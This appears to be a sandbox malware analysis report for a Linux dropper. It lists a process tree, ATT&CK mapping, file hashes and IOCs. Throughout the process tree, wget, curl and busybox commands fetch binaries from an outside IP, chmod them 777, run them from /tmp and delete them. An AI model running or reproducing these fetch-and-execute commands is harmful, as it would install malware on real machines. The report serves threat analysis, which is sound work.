  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  PID:966
- /bin/chmod
  chmod 777 gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  ./gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  PID:969
- /usr/bin/wget
  wget http://87.120.125.191/bins/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  PID:972
- /bin/chmod
  chmod 777 uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  ./uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
  2⤵
  PID:975
- /usr/bin/wget
  wget http://87.120.125.191/bins/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  PID:978
- /bin/chmod
  chmod 777 15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  ./15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm 15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
  2⤵
  PID:981
- /usr/bin/wget
  wget http://87.120.125.191/bins/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  PID:982
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:983
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  PID:984
- /bin/chmod
  chmod 777 jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  ./jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
  2⤵
  PID:987

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit
/tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI

Filesize
176B

MD5
e1732e70f015e99d14dff1eeeaec9966

SHA1
c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113

SHA256
6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e

SHA512
6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7

Download Submit

ioc	pid	Process
/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G	742	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
/tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI	750	gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
/tmp/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn	758	uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
/tmp/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7	780	lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
/tmp/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2	803	vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
/tmp/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p	821	15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
/tmp/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG	830	jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG
/tmp/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0	838	ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
/tmp/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk	862	FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
/tmp/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ	878	S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
/tmp/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji	884	7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
/tmp/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN	890	NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
/tmp/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw	896	EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
/tmp/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV	902	oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
/tmp/FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk	908	FytH7v1hvSw6Bv2Vne4wW2WsTv0SsLB4Fk
/tmp/S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ	914	S6BNiXN7oCBA9FcbEvm4sFcAKYQjIIriBJ
/tmp/ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0	920	ZwgaI4Cl5c8ZrGwX8KfGE86gPvCga3Grl0
/tmp/EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw	926	EdFe9XZDutSnMUEAGiOtQjpfC2dcRx8UNw
/tmp/oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV	932	oNW50A3lhWCBxfWTEHAFjImdibHABAcsbV
/tmp/7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji	938	7dFbDwx6PU7WvBfmHWPgFF9BBHTf5wooji
/tmp/NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN	944	NBvIRJuFuFJmi4KlvtkSSNS8OQdrQjMhUN
/tmp/lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7	950	lLbHChf1iQAU8ygYy2LQb9aeqQPm5T5lU7
/tmp/vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2	956	vQ63tKW9jaDHKeDS6UZq98zWamMr1gwrx2
/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G	962	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
/tmp/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI	968	gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
/tmp/uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn	974	uvhV9m5KaLeN2x38H0VzxUaS8EUtxlgrsn
/tmp/15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p	980	15abOuZMV7A9KJTFH87FM9kB2d3TVsSk2p
/tmp/jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG	986	jTU0dNOxRxwGywxWwrw7oX9kMcJa186GKG